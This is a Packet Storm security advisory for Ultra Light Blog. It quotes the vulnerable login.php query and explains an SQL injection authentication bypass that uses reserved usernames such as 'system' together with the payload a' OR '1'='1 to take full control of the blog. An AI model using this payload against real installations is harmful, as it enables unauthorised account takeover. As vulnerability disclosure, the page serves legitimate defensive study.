what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ultra Light Blog SQL Injection

Ultra Light Blog SQL Injection
Posted Nov 8, 2016
Authored by N_A

Ultra Light Blog suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
SHA-256 | f9559af881d4b39a12960858ed2517695333f390a6f467b57f41c58224c05869

Ultra Light Blog SQL Injection

Change Mirror Download
Ultra Light Blog - SQL Injection Authentication Bypass
=======================================================



Discovered by N_A , N_A [at] tutanota.com
===========================================





Description
============


Ultra Light blog, based on PHP & MySQL, also comes with CAPTCHA to stop bots. After registering user can create, post topic or send/check messages. User can also change their profile images, about me message and more ! -Sourav Ghosh www.web-shine.in


https://sourceforge.net/projects/ultralightblog





Vulnerability
=============

An SQL Injection vulnerability exists within Ultra Light Blog that allows remote attackers to compromise and take ownership of the blog with full permissions.




The vulnerability resides within the login.php file of the blog package:


if ($_SESSION["name"] != "" && $_SESSION["msg"] != "" && $_SESSION["id"] != "")
{
$name = $_SESSION["name"];
$msg = $_SESSION["msg"];
$id = $_SESSION["id"];
....
....
....A
$query="select id,name from login where id = '$id' and name = '$name'";
$rs=mysql_query($query,$conn);
$flag=mysql_num_rows($rs);



The $query variable is where the injection can occur due to the remote attacker being able to control $id and $name.





Exploition and Proof of Concept
================================



The exploitation requires 2 parts:


1) A *valid* username
2) The SQL Injection string




1) If you do not have a valid user name then use any of the following:

A A A user, admin ,system ,roote , web-shine


As stated in the new_user.php file:


A
if ($id == "user" || $id == "admin" || $id == "system" || $id == "roote" || $id == "web-shine")
A A A $err = "Sorry, you have typed a Reserved ID.<br>";


The Blog package reserves certain usernames and they are by default inside the SQL tables.
How ever,A the line below this does not allow logins of a length below 6 characters:

if (strlen($id) <6 || strlen($id)>10)
A A A $err = $err + "ID Length must be within 6 to 10.<br>";



My tests have shown that user names that work are:A system and web-shineA ( if u do not know the username the blog is registered under )




2) The injection string required is : a' OR '1'='1A A


An example of exploitation would be:


username: jimmy16
password: a' OR '1'='1A

username: system
password: a' OR '1'='1A


The result is logging into the blog with total ownership.




Email
=====

NA[at]tutanota.com
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close